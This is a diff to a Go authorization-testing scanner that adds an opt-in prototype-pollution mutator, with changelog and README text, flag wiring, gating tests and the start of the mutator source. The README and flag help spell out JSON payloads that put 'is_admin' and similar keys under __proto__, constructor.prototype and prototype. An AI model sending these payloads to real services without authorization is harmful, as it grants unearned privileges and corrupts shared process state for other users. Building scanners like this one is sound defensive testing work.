diff --git a/CHANGELOG.md b/CHANGELOG.md index bcbc109..4f753f2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,73 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Added +- **Prototype-pollution mutator** (`--prototype-pollution`, + `internal/mutate/prototype_pollution.go`): a new mutator in the + privilege-escalation family targeting the canonical Node.js / browser + prototype-pollution authz-bypass class (CVE-2018-3721 lodash, + CVE-2019-10744 lodash, CVE-2019-11358 jQuery, and the 2024 Express + qs/parseUrl chains; OWASP "Prototype Pollution Prevention" cheat sheet). + Where `--mass-assign` attacks *which top-level properties the model + binds* (server-side BOPLA at the object layer — set `is_admin` on the + model instance), `--prototype-pollution` attacks *which properties + every object in the JavaScript runtime inherits* (set `is_admin` on + Object.prototype so every object answers `true` for it) — a distinct + authz-bypass class with a distinct fix. A backend that deep-merges + attacker-controlled JSON (lodash `_.merge`, `_.defaultsDeep`, + `$.extend(true, …)`, mongoose, hand-rolled recursive Object.assign) + walks past the `__proto__` / `constructor` / `prototype` keys it + should be guarding and writes onto Object.prototype; every subsequent + object the process creates inherits the polluted property and a + downstream authz check that reads `req.user.is_admin` finds `true` + even though the request never legitimately granted it. For each + privileged property in the canonical set + (`PrivilegedProperties` — `admin`, `is_admin`, `isAdmin`, `role`, + `roles`, `verified`, shared with `--mass-assign` so the same + authz-bypass surface is exercised against the prototype layer) and + each of the three pollution vectors, a separate variant is emitted in + deterministic sorted-by-field then sorted-by-vector order: + `__proto__` (`{"__proto__": {key: value}}` — the direct CVE-2018-3721 + vector); `constructor.prototype` + (`{"constructor": {"prototype": {key: value}}}` — every object's + `constructor` is a function whose `.prototype` IS Object.prototype, so + this bypasses guards that block only the literal `__proto__` key); and + `prototype` (`{"prototype": {key: value}}` — the bare alias used by + mongoose / handlebars / some hand-rolled merges that walk a key + literally named `prototype` as data, a third pathway documented across + the npm-ecosystem CVE chain). Every variant keeps the caller's own + credentials (`Identity == nil` — credentials unchanged) and preserves + the caller's own top-level body fields verbatim; the pollution + payload is *added* alongside them, never replaces. Arrays, scalars, + and non-JSON bodies emit no variants — there is nothing for a JSON + deep-merge helper to recurse into. If the caller's own body already + contains a top-level `__proto__` / `constructor` / `prototype` key + (vanishingly rare in real traffic), that specific vector is skipped + for that input. Pure and deterministic — the property and vector + sweeps both sort at call time — so `--dry-run` and the offline corpus + cover it for free. Findings are class `privesc`. Off by default: the + polluted JSON reaches deep-merge code paths whose effect is + *process-wide* (the entire Node.js process answers the polluted + property thereafter — including for every concurrent user — until the + runtime restarts), so it only fires when the operator opts in, + mirroring the gating of `--mass-assign` (its top-level counterpart) + and the rest of the off-by-default mutator family. Wired through + `buildRegistry`; the mutator is always registered (inert when + disabled) so the canonical `DefaultRegistry` order and the order test + stay unchanged. Covered by 13 new tests across + `internal/mutate/prototype_pollution_test.go` and + `internal/cli/buildregistry_forbidden_test.go` — disabled-by-default + contract, full cross-product cell coverage (every property × every + vector emitted exactly once), per-vector body-shape invariants + (`__proto__.key`, `constructor.prototype.key`, `prototype.key` + reachable at the correct path; the polluted field NOT leaked to the + top level, keeping the mutator disjoint from `--mass-assign`), + caller-field preservation, non-JSON / array / empty body skip, + already-present vector-key skip, determinism (field-outer/vector-inner + monotonic sweep), credentials-unchanged contract, body + non-aliasing, `Name()` stability for the allowlist, the + not-in-`DefaultRegistry` contract, and the gating end-to-end through + `buildRegistry` (both wordlist-on and wordlist-off paths). + - **Web Cache Deception mutator** (`--cache-deception`, `internal/mutate/cache_deception.go`): a new mutator in the access-control bypass family targeting the canonical Web Cache Deception diff --git a/README.md b/README.md index 7a41081..b5c3fee 100755 --- a/README.md +++ b/README.md @@ -890,6 +890,69 @@ gating of `--content-type-confusion`, `--origin-spoof`, `--host-header`, `--forbidden-bypass`, `--method-override`, `--csrf-header`, `--ws-hijack`, `--xxe`, and `--mass-assign`. +## Prototype pollution (`--prototype-pollution`) + +Where `--mass-assign` attacks *which top-level properties the model +binds* (server-side BOPLA at the object layer — set `is_admin` on the +model instance), `--prototype-pollution` attacks *which properties every +object in the JavaScript runtime inherits* (set `is_admin` on +Object.prototype so every object answers `true` for it) — a distinct +authz-bypass class with a distinct fix that the Node.js ecosystem has +been re-discovering since CVE-2018-3721 (lodash), CVE-2019-10744 +(lodash), CVE-2019-11358 (jQuery), and the 2024 Express qs / parseUrl +chains. A backend that deep-merges attacker-controlled JSON +(`_.merge`, `_.defaultsDeep`, `$.extend(true, …)`, hand-rolled recursive +Object.assign) walks past the `__proto__` / `constructor.prototype` / +`prototype` keys it should be guarding and writes onto Object.prototype; +every subsequent object the process creates inherits the polluted +property and a downstream authz check that reads `req.user.is_admin` +finds `true` even though the request never legitimately granted it: + +``` +possession scan capture.har \ + --matrix matrix.yaml \ + --prototype-pollution +``` + +For each privileged property in the canonical set (`admin`, `is_admin`, +`isAdmin`, `role`, `roles`, `verified` — the same surface +`--mass-assign` covers) and each of the three pollution vectors, a +separate variant is emitted in deterministic sorted-by-field then +sorted-by-vector order: + +- **`__proto__`** — `{"__proto__": {"is_admin": true, …}}`. The direct, + original CVE-2018-3721 vector — naive recursive-merge helpers follow + the literal `__proto__` key into Object.prototype. +- **`constructor.prototype`** — + `{"constructor": {"prototype": {"is_admin": true, …}}}`. Every + object's `constructor` is a function whose `.prototype` IS + Object.prototype, so this vector bypasses guards that block only the + literal `__proto__` key. +- **`prototype`** — `{"prototype": {"is_admin": true, …}}`. The bare + alias used by mongoose / handlebars / some hand-rolled merges that + walk a key literally named `prototype` thinking it is just data — a + third pathway documented across the npm-ecosystem CVE chain. + +Every variant keeps the caller's own credentials (`Identity == nil`) and +preserves the caller's own top-level body fields verbatim; the pollution +payload is *added* alongside them, never replaces. Arrays, scalars, and +non-JSON bodies emit no variants — there is nothing for a JSON +deep-merge helper to recurse into. If the caller's own body already +contains a top-level `__proto__` / `constructor` / `prototype` key +(vanishingly rare in real traffic), that specific vector is skipped — +injecting a key the caller already sends proves nothing. Findings are +class `privesc`. + +`--prototype-pollution` is **off by default**: the polluted JSON reaches +deep-merge code paths whose effect is *process-wide* (the entire Node.js +process answers the polluted property thereafter, including for every +concurrent user, until the runtime restarts), so it only fires when you +opt in — mirroring the gating of `--cache-deception`, +`--content-type-confusion`, `--origin-spoof`, `--parameter-pollution`, +`--header-injection`, `--cookie-tampering`, `--host-header`, +`--forbidden-bypass`, `--method-override`, `--csrf-header`, +`--ws-hijack`, `--xxe`, and `--mass-assign`. + ## Role matrix The role matrix is YAML. Minimum viable shape: diff --git a/internal/cli/buildregistry_forbidden_test.go b/internal/cli/buildregistry_forbidden_test.go index ac0d75c..b27dcec 100644 --- a/internal/cli/buildregistry_forbidden_test.go +++ b/internal/cli/buildregistry_forbidden_test.go @@ -27,7 +27,7 @@ func protectedScanReq() *model.CapturedRequest { // flows through buildRegistry: the mutator is always registered, but only // emits variants when the flag is set. func TestBuildRegistry_ForbiddenBypassGating(t *testing.T) { - regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) + regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry off: %v", err) } @@ -35,7 +35,7 @@ func TestBuildRegistry_ForbiddenBypassGating(t *testing.T) { t.Fatalf("forbidden-bypass must always be registered, even when disabled") } - regOn, err := buildRegistry("", 0, false, false, false, false, true, false, false, false, false, false, false, false, false, false, false) + regOn, err := buildRegistry("", 0, false, false, false, false, true, false, false, false, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry on: %v", err) } @@ -60,7 +60,7 @@ func TestBuildRegistry_ForbiddenBypassWithWordlist(t *testing.T) { if err := os.WriteFile(f, []byte("secret\n"), 0o644); err != nil { t.Fatalf("write wordlist: %v", err) } - reg, err := buildRegistry(f, 0, false, false, false, false, true, false, false, false, false, false, false, false, false, false, false) + reg, err := buildRegistry(f, 0, false, false, false, false, true, false, false, false, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry with wordlist: %v", err) } @@ -93,7 +93,7 @@ func wsScanReq() *model.CapturedRequest { // buildRegistry: the mutator is always registered, but only emits variants when // the flag is set. func TestBuildRegistry_WSHijackGating(t *testing.T) { - regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) + regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry off: %v", err) } @@ -104,7 +104,7 @@ func TestBuildRegistry_WSHijackGating(t *testing.T) { t.Errorf("disabled ws-hijack emitted %d variants; want 0", len(vs)) } - regOn, err := buildRegistry("", 0, false, false, false, false, false, true, false, false, false, false, false, false, false, false, false) + regOn, err := buildRegistry("", 0, false, false, false, false, false, true, false, false, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry on: %v", err) } @@ -125,7 +125,7 @@ func TestBuildRegistry_WSHijackWithWordlist(t *testing.T) { if err := os.WriteFile(f, []byte("secret\n"), 0o644); err != nil { t.Fatalf("write wordlist: %v", err) } - reg, err := buildRegistry(f, 0, false, false, false, false, false, true, false, false, false, false, false, false, false, false, false) + reg, err := buildRegistry(f, 0, false, false, false, false, false, true, false, false, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry with wordlist: %v", err) } @@ -141,7 +141,7 @@ func TestBuildRegistry_WSHijackWithWordlist(t *testing.T) { // through buildRegistry: the mutator is always registered, but only emits // variants when the flag is set. func TestBuildRegistry_MethodOverrideGating(t *testing.T) { - regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) + regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry off: %v", err) } @@ -152,7 +152,7 @@ func TestBuildRegistry_MethodOverrideGating(t *testing.T) { t.Errorf("disabled method-override emitted %d variants; want 0", len(vs)) } - regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, true, false, false, false, false, false, false, false) + regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, true, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry on: %v", err) } @@ -172,7 +172,7 @@ func TestBuildRegistry_MethodOverrideWithWordlist(t *testing.T) { if err := os.WriteFile(f, []byte("secret\n"), 0o644); err != nil { t.Fatalf("write wordlist: %v", err) } - reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, true, false, false, false, false, false, false, false) + reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, true, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry with wordlist: %v", err) } @@ -188,7 +188,7 @@ func TestBuildRegistry_MethodOverrideWithWordlist(t *testing.T) { // buildRegistry: the mutator is always registered, but only emits variants when // the flag is set. func TestBuildRegistry_HostHeaderGating(t *testing.T) { - regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) + regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry off: %v", err) } @@ -199,7 +199,7 @@ func TestBuildRegistry_HostHeaderGating(t *testing.T) { t.Errorf("disabled host-header emitted %d variants; want 0", len(vs)) } - regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, true, false, false, false, false, false, false) + regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, true, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry on: %v", err) } @@ -219,7 +219,7 @@ func TestBuildRegistry_HostHeaderWithWordlist(t *testing.T) { if err := os.WriteFile(f, []byte("secret\n"), 0o644); err != nil { t.Fatalf("write wordlist: %v", err) } - reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, true, false, false, false, false, false, false) + reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, true, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry with wordlist: %v", err) } @@ -249,7 +249,7 @@ func cookieScanReq() *model.CapturedRequest { // through buildRegistry: the mutator is always registered, but only emits // variants when the flag is set. func TestBuildRegistry_CookieTamperGating(t *testing.T) { - regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) + regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry off: %v", err) } @@ -260,7 +260,7 @@ func TestBuildRegistry_CookieTamperGating(t *testing.T) { t.Errorf("disabled cookie-tamper emitted %d variants; want 0", len(vs)) } - regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, true, false, false, false, false, false) + regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, true, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry on: %v", err) } @@ -280,7 +280,7 @@ func TestBuildRegistry_CookieTamperWithWordlist(t *testing.T) { if err := os.WriteFile(f, []byte("secret\n"), 0o644); err != nil { t.Fatalf("write wordlist: %v", err) } - reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, true, false, false, false, false, false) + reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, true, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry with wordlist: %v", err) } @@ -296,7 +296,7 @@ func TestBuildRegistry_CookieTamperWithWordlist(t *testing.T) { // flows through buildRegistry: the mutator is always registered, but only emits // variants when the flag is set. func TestBuildRegistry_HeaderInjectionGating(t *testing.T) { - regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) + regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry off: %v", err) } @@ -307,7 +307,7 @@ func TestBuildRegistry_HeaderInjectionGating(t *testing.T) { t.Errorf("disabled header-injection emitted %d variants; want 0", len(vs)) } - regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, true, false, false, false, false) + regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, true, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry on: %v", err) } @@ -327,7 +327,7 @@ func TestBuildRegistry_HeaderInjectionWithWordlist(t *testing.T) { if err := os.WriteFile(f, []byte("secret\n"), 0o644); err != nil { t.Fatalf("write wordlist: %v", err) } - reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, false, true, false, false, false, false) + reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, false, true, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry with wordlist: %v", err) } @@ -357,7 +357,7 @@ func pollutionScanReq() *model.CapturedRequest { // flows through buildRegistry: the mutator is always registered, but only emits // variants when the flag is set. func TestBuildRegistry_ParamPollutionGating(t *testing.T) { - regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) + regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry off: %v", err) } @@ -368,7 +368,7 @@ func TestBuildRegistry_ParamPollutionGating(t *testing.T) { t.Errorf("disabled parameter-pollution emitted %d variants; want 0", len(vs)) } - regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, true, false, false, false) + regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, true, false, false, false, false) if err != nil { t.Fatalf("buildRegistry on: %v", err) } @@ -388,7 +388,7 @@ func TestBuildRegistry_ParamPollutionWithWordlist(t *testing.T) { if err := os.WriteFile(f, []byte("secret\n"), 0o644); err != nil { t.Fatalf("write wordlist: %v", err) } - reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, false, false, true, false, false, false) + reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, false, false, true, false, false, false, false) if err != nil { t.Fatalf("buildRegistry with wordlist: %v", err) } @@ -421,7 +421,7 @@ func ctcScanReq() *model.CapturedRequest { // --content-type-confusion flag flows through buildRegistry: the mutator is // always registered, but only emits variants when the flag is set. func TestBuildRegistry_ContentTypeConfusionGating(t *testing.T) { - regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) + regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry off: %v", err) } @@ -432,7 +432,7 @@ func TestBuildRegistry_ContentTypeConfusionGating(t *testing.T) { t.Errorf("disabled content-type-confusion emitted %d variants; want 0", len(vs)) } - regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, true, false) + regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, true, false, false) if err != nil { t.Fatalf("buildRegistry on: %v", err) } @@ -453,7 +453,7 @@ func TestBuildRegistry_ContentTypeConfusionWithWordlist(t *testing.T) { if err := os.WriteFile(f, []byte("secret\n"), 0o644); err != nil { t.Fatalf("write wordlist: %v", err) } - reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, false, false, false, false, true, false) + reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, false, false, false, false, true, false, false) if err != nil { t.Fatalf("buildRegistry with wordlist: %v", err) } @@ -484,7 +484,7 @@ func cdScanReq() *model.CapturedRequest { // flows through buildRegistry: the mutator is always registered, but only // emits variants when the flag is set. func TestBuildRegistry_CacheDeceptionGating(t *testing.T) { - regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) + regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) if err != nil { t.Fatalf("buildRegistry off: %v", err) } @@ -495,7 +495,7 @@ func TestBuildRegistry_CacheDeceptionGating(t *testing.T) { t.Errorf("disabled cache-deception emitted %d variants; want 0", len(vs)) } - regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, true) + regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, true, false) if err != nil { t.Fatalf("buildRegistry on: %v", err) } @@ -515,7 +515,7 @@ func TestBuildRegistry_CacheDeceptionWithWordlist(t *testing.T) { if err := os.WriteFile(f, []byte("secret\n"), 0o644); err != nil { t.Fatalf("write wordlist: %v", err) } - reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, true) + reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, true, false) if err != nil { t.Fatalf("buildRegistry with wordlist: %v", err) } @@ -526,3 +526,69 @@ func TestBuildRegistry_CacheDeceptionWithWordlist(t *testing.T) { t.Errorf("enabled cache-deception (wordlist path) emitted 0 variants") } } + +// ppScanReq returns a captured PUT request authenticated as alice with a +// JSON object body, so the prototype-pollution mutator has something to +// pollute. Mirrors cdScanReq / ctcScanReq for the gating tests below. +func ppScanReq() *model.CapturedRequest { + u, _ := url.Parse("https://api.example.com/api/users/1001") + h := http.Header{} + h.Set("Authorization", "Bearer alice-token") + h.Set("Content-Type", "application/json") + return &model.CapturedRequest{ + ID: "alice-update", + Method: "PUT", + URL: u, + Headers: h, + Body: []byte(`{"name":"alice"}`), + ContentType: "application/json", + } +} + +// TestBuildRegistry_PrototypePollutionGating proves the --prototype-pollution +// flag flows through buildRegistry: the mutator is always registered, but +// only emits variants when the flag is set. +func TestBuildRegistry_PrototypePollutionGating(t *testing.T) { + regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) + if err != nil { + t.Fatalf("buildRegistry off: %v", err) + } + if regOff.Get("prototype-pollution") == nil { + t.Fatalf("prototype-pollution must always be registered, even when disabled") + } + if vs := regOff.Get("prototype-pollution").Generate(ppScanReq(), nil); len(vs) != 0 { + t.Errorf("disabled prototype-pollution emitted %d variants; want 0", len(vs)) + } + + regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, true) + if err != nil { + t.Fatalf("buildRegistry on: %v", err) + } + m := regOn.Get("prototype-pollution") + if m == nil { + t.Fatalf("prototype-pollution missing from registry when enabled") + } + if vs := m.Generate(ppScanReq(), nil); len(vs) == 0 { + t.Errorf("enabled prototype-pollution emitted 0 variants; want > 0") + } +} + +// TestBuildRegistry_PrototypePollutionWithWordlist verifies the alternate +// (wordlist) construction path also wires the gated prototype-pollution +// mutator. +func TestBuildRegistry_PrototypePollutionWithWordlist(t *testing.T) { + f := t.TempDir() + "/wl.txt" + if err := os.WriteFile(f, []byte("secret\n"), 0o644); err != nil { + t.Fatalf("write wordlist: %v", err) + } + reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, true) + if err != nil { + t.Fatalf("buildRegistry with wordlist: %v", err) + } + if reg.Get("prototype-pollution") == nil { + t.Fatalf("prototype-pollution missing from wordlist-path registry") + } + if vs := reg.Get("prototype-pollution").Generate(ppScanReq(), nil); len(vs) == 0 { + t.Errorf("enabled prototype-pollution (wordlist path) emitted 0 variants") + } +} diff --git a/internal/cli/scan.go b/internal/cli/scan.go index bacf3c8..99ce9b2 100755 --- a/internal/cli/scan.go +++ b/internal/cli/scan.go @@ -68,6 +68,7 @@ var ( scanOriginSpoof bool // --origin-spoof: spoof the Origin/Referer headers (null, cross-origin, suffix-confusion) to bypass origin-validation CSRF/state-change defenses, using the caller's own credentials (off by default) scanCTConfusion bool // --content-type-confusion: relabel the Content-Type so the WAF/gateway and the handler dispatch the body to different parsers (off by default) scanCacheDeception bool // --cache-deception: decorate the URL with cacheable extensions/segments so a fronting cache stores the caller's personal response at a public key (off by default) + scanProtoPollution bool // --prototype-pollution: bury privileged properties under __proto__ / constructor.prototype / prototype keys in JSON object bodies so a deep-merge helper writes onto Object.prototype (Node.js authz bypass; off by default) ) // scanCmd is the end-to-end scan command. Packets 1-3 contribute: @@ -155,6 +156,8 @@ func init() { "test Content-Type confusion / parser-sniffing access-control bypass using the caller's own credentials: keep the request body unchanged and relabel its Content-Type so a fronting WAF / API gateway short-circuits its body-inspection rules (\"this is text/plain, no JSON to validate\") while the application handler still parses the body as JSON (or coerces JSON↔XML↔form between parsers with different authz wiring); JSON bodies fan out to text/plain, application/xml, application/x-www-form-urlencoded, and a strip-Content-Type variant; XML bodies to application/json and text/plain; urlencoded forms to application/json; no-op relabels (declared type already matches the target) are skipped; off by default because the relabelled variants reach alternate-parser code paths with weaker validation") scanCmd.Flags().BoolVar(&scanCacheDeception, "cache-deception", false, "test Web Cache Deception (Omer Gil) access-control leakage using the caller's own credentials: decorate the URL with cacheable file-extension shapes (.css/.js/.png/.jpg/.ico/.gif/.svg) the application router strips or ignores but a fronting CDN / edge cache keys on, in four disjoint shapes — path-suffix (/api/me/possession.css), path-extension (/api/me.css), semicolon-suffix (/api/me;.css; Tomcat/Spring matrix-parameter), and encoded-suffix (/api/me%2fpossession.css; gateway/router URL-normalisation desync) — so the upstream still serves the caller's personal response while the cache stores it under a key any later (possibly unauthenticated) caller can fetch; endpoints already at a cacheable extension are skipped; disjoint from --forbidden-bypass (which mutates the path to defeat a deny rule) and --host-header (which spoofs the gate's host); off by default because the decorated variants observably warm an upstream cache at the decorated URL on the caller's behalf") + scanCmd.Flags().BoolVar(&scanProtoPollution, "prototype-pollution", false, + "test JavaScript prototype-pollution privilege escalation using the caller's own credentials: for each privileged property (admin, is_admin, isAdmin, role, roles, verified), bury it under the three canonical pollution vectors (__proto__, constructor.prototype, prototype) inside the JSON object request body so a Node.js deep-merge helper (lodash _.merge, $.extend(true,…), defaultsDeep, hand-rolled recursive Object.assign) walks past the prototype guard and writes the polluted property onto Object.prototype — every subsequent object in the process answers true for the flag and any downstream authz check that reads req.user.is_admin (or equivalent) is bypassed runtime-wide; arrays, scalars, and non-JSON bodies are skipped; disjoint from --mass-assign (which sets the same keys at the top level — a different vuln class with a different fix); off by default because the polluted JSON reaches deep-merge code paths whose effect is process-wide and persists for every concurrent user until the runtime restarts") } func resetScanFlags() { @@ -198,6 +201,7 @@ func resetScanFlags() { scanOriginSpoof = false scanCTConfusion = false scanCacheDeception = false + scanProtoPollution = false } func runScan(cmd *cobra.Command, args []string) error { @@ -321,7 +325,7 @@ func runScan(cmd *cobra.Command, args []string) error { // derived from its representative sample's auth components. attributionWarnings := attributeEndpoints(endpoints, matrix) - reg, err := buildRegistry(scanJWTWordlist, scanEnumerate, scanJWTAttack, scanMassAssign, scanXXE, scanGraphQL, scanForbidBypass, scanWSHijack, scanCSRFHeader, scanMethodOverride, scanHostHeader, scanCookieTamper, scanHeaderInject, scanParamPollution, scanOriginSpoof, scanCTConfusion, scanCacheDeception) + reg, err := buildRegistry(scanJWTWordlist, scanEnumerate, scanJWTAttack, scanMassAssign, scanXXE, scanGraphQL, scanForbidBypass, scanWSHijack, scanCSRFHeader, scanMethodOverride, scanHostHeader, scanCookieTamper, scanHeaderInject, scanParamPollution, scanOriginSpoof, scanCTConfusion, scanCacheDeception, scanProtoPollution) if err != nil { return err } @@ -1245,10 +1249,10 @@ func buildEvaluator(name string, matrix *model.RoleMatrix) (detect.Evaluator, er // cacheDeception is true. // EnumerateID, JWTAuth, MassAssign, XXE, GraphQL, ForbiddenBypass, WSHijack, // CSRFHeader, MethodOverride, HostHeader, CookieTamper, HeaderInjection, -// ParamPollution, OriginSpoof, ContentTypeConfusion, and CacheDeception are -// always registered but inert in their disabled state, so the canonical -// DefaultRegistry order (and the order test) stays unchanged. -func buildRegistry(wordlistPath string, enumerateN int, jwtAttack, massAssign, xxe, graphql, forbidBypass, wsHijack, csrfHeader, methodOverride, hostHeader, cookieTamper, headerInjection, paramPollution, originSpoof, ctConfusion, cacheDeception bool) (*mutate.Registry, error) { +// ParamPollution, OriginSpoof, ContentTypeConfusion, CacheDeception, and +// PrototypePollution are always registered but inert in their disabled state, +// so the canonical DefaultRegistry order (and the order test) stays unchanged. +func buildRegistry(wordlistPath string, enumerateN int, jwtAttack, massAssign, xxe, graphql, forbidBypass, wsHijack, csrfHeader, methodOverride, hostHeader, cookieTamper, headerInjection, paramPollution, originSpoof, ctConfusion, cacheDeception, protoPollution bool) (*mutate.Registry, error) { enumMutator := mutate.EnumerateID{N: enumerateN} jwtAuthMutator := mutate.JWTAuth{Enabled: jwtAttack} massAssignMutator := mutate.MassAssign{Enabled: massAssign} @@ -1265,15 +1269,16 @@ func buildRegistry(wordlistPath string, enumerateN int, jwtAttack, massAssign, x originSpoofMutator := mutate.OriginSpoof{Enabled: originSpoof} ctConfusionMutator := mutate.ContentTypeConfusion{Enabled: ctConfusion} cacheDeceptionMutator := mutate.CacheDeception{Enabled: cacheDeception} + protoPollutionMutator := mutate.PrototypePollution{Enabled: protoPollution} if wordlistPath == "" { // Extend the default registry with EnumerateID + JWTAuth + // MassAssign + XXE + GraphQL + ForbiddenBypass + WSHijack + CSRFHeader + // MethodOverride + HostHeader + CookieTamper + HeaderInjection + - // ParamPollution + OriginSpoof + ContentTypeConfusion + CacheDeception - // (all no-op when disabled). + // ParamPollution + OriginSpoof + ContentTypeConfusion + CacheDeception + + // PrototypePollution (all no-op when disabled). base := mutate.DefaultRegistry() - all := append(base.All(), enumMutator, jwtAuthMutator, massAssignMutator, xxeMutator, graphqlMutator, forbidMutator, wsHijackMutator, csrfHeaderMutator, methodOverrideMutator, hostHeaderMutator, cookieTamperMutator, headerInjectionMutator, paramPollutionMutator, originSpoofMutator, ctConfusionMutator, cacheDeceptionMutator) + all := append(base.All(), enumMutator, jwtAuthMutator, massAssignMutator, xxeMutator, graphqlMutator, forbidMutator, wsHijackMutator, csrfHeaderMutator, methodOverrideMutator, hostHeaderMutator, cookieTamperMutator, headerInjectionMutator, paramPollutionMutator, originSpoofMutator, ctConfusionMutator, cacheDeceptionMutator, protoPollutionMutator) return mutate.NewRegistry(all...), nil } data, err := os.ReadFile(wordlistPath) @@ -1316,6 +1321,7 @@ func buildRegistry(wordlistPath string, enumerateN int, jwtAttack, massAssign, x originSpoofMutator, ctConfusionMutator, cacheDeceptionMutator, + protoPollutionMutator, ), nil } diff --git a/internal/mutate/prototype_pollution.go b/internal/mutate/prototype_pollution.go new file mode 100644 index 0000000..3493479 --- /dev/null +++ b/internal/mutate/prototype_pollution.go @@ -0,0 +1,239 @@ +package mutate + +import ( + "encoding/json" + "sort" + "strings" + + "github.com/bugsyhewitt/possession/internal/model" +) + +// PrototypePollution is the JavaScript prototype-pollution authz-bypass +// mutator. It targets the BOPLA-adjacent class where a Node.js / browser +// backend that deep-merges attacker-controlled JSON into a model (lodash +// `_.merge`, `_.defaultsDeep`, jQuery `$.extend(true, ...)`, mongoose, +// hand-rolled recursive Object.assign, and the entire family of "merge user +// input into config" helpers) walks past the `__proto__` / `constructor` / +// `prototype` keys it should be guarding and writes onto Object.prototype. +// Every subsequent object the process creates inherits the polluted +// properties, and a downstream authz check that reads — for example — +// `req.user.is_admin` finds `true` even though the request never legitimately +// granted it. CVE-2018-3721 (lodash), CVE-2019-10744 (lodash), CVE-2019-11358 +// (jQuery), and the 2024 Express qs/parseUrl chains are the canonical +// references; the OWASP "Prototype Pollution Prevention" cheat sheet and the +// Snyk 2025 npm advisory landscape both rank it as the dominant access-control +// bypass vector for the Node.js ecosystem. +// +// Where MassAssign attacks *which top-level properties are bound* (a property +// named `is_admin` set on the model instance itself — server-side BOPLA at the +// object layer), PrototypePollution attacks *which properties every object in +// the runtime inherits* (the same `is_admin` flag set on Object.prototype, so +// every object answers `true` for it — runtime-wide privilege grant via a +// distinct merge-helper vulnerability class with a distinct fix). The two +// mutators are deliberately disjoint: MassAssign sets keys at the top level; +// PrototypePollution 